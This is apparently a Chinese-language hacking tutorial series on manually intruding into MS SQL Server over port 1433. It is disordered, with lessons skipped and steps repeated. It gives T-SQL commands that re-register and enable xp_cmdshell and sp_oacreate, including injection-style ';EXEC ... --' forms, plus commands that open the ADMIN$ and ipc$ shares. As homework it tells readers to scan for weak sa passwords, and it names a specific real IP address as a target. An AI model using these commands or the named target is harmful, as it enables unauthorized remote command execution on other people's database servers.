手工系列步骤.docVIP

1433手工入侵系列教程 第二课：修复Error Message:未能找到存储过程 master..xp_cmdshell。错误 环境：本机xp 服务器2003 工具： 1.弱口令扫描器 sql连接器 Sql查询分析器 服务器一台 要完成的任务：修复错误 Error Message:未能找到存储过程 master..xp_cmdshell。 修复方法：xp_cmdshell新的恢复办法 第一步先删除： drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc xp_cmdshell 第二步恢复： dbcc addextendedproc (sp_oacreate,odsole70.dll) dbcc addextendedproc (xp_cmdshell,xplog70.dll) 直接恢复，不管sp_addextendedproc是不是存在 课程总结： 作业：自己扫描1433弱口令。尝试一下 实例：124.130.109.251 sa 要完成的任务：修复错误 拒绝访问 修复方法： Net1 Dir net.exe /s /p 第五课：修复Error Message:SQL Server 阻止了对组件 xp_cmdshell 的 过程 sys.xp_cmdshell 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 xp_cmdshell。有关启用 xp_cmdshell 的详细信息，请参阅 SQL Server 联机丛书中的 外围应用配置器。错误 修复方法： ;EXEC sp_configure show advanced options, 1 -- ;RECONFIGURE WITH OVERRIDE -- ;EXEC sp_configure xp_cmdshell, 1 -- ;RECONFIGURE WITH OVERRIDE -- ;EXEC sp_configure show advanced options, 0 -- 第六课修复错误 Error Message:无法装载 DLL xpweb70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。) 修复方法： 第一步 exec sp_dropextendedproc xp_cmdshell 第二步 dbcc addextendedproc (xp_cmdshell,c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll) ;EXEC sp_configure show advanced options, 0 -- 第七课要完成的任务：修复错误 Error Message:无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)。 修复方法： 第一步 exec sp_dropextendedproc xp_cmdshell 第二步 dbcc addextendedproc (xp_cmdshell,c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll) ;EXEC sp_configure show advanced options, 0 -- 1433手工入侵系列教程 NT LM SECURITY SUPPORT PROVIDER REMOTE PROCEDURE CALL(RPC) LOCATOR TCP/IP NETBIOS HELPER server 打开CMD 查看本机共享 net share 开启ADMIN$和ipc$ net share ADMIN$ net share ipc$ 【华中红客基地】 修复法：很通用的，其实碰到 其他126 127的都可以一起修复， 除了xplog70.dll其他的都可以用这命令修复 xp_cmdshell新的恢复办法 第一步先删除： drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc xp_cmdshell 第二步恢复： dbcc addextendedproc (sp_oacreate,odsole70.dll)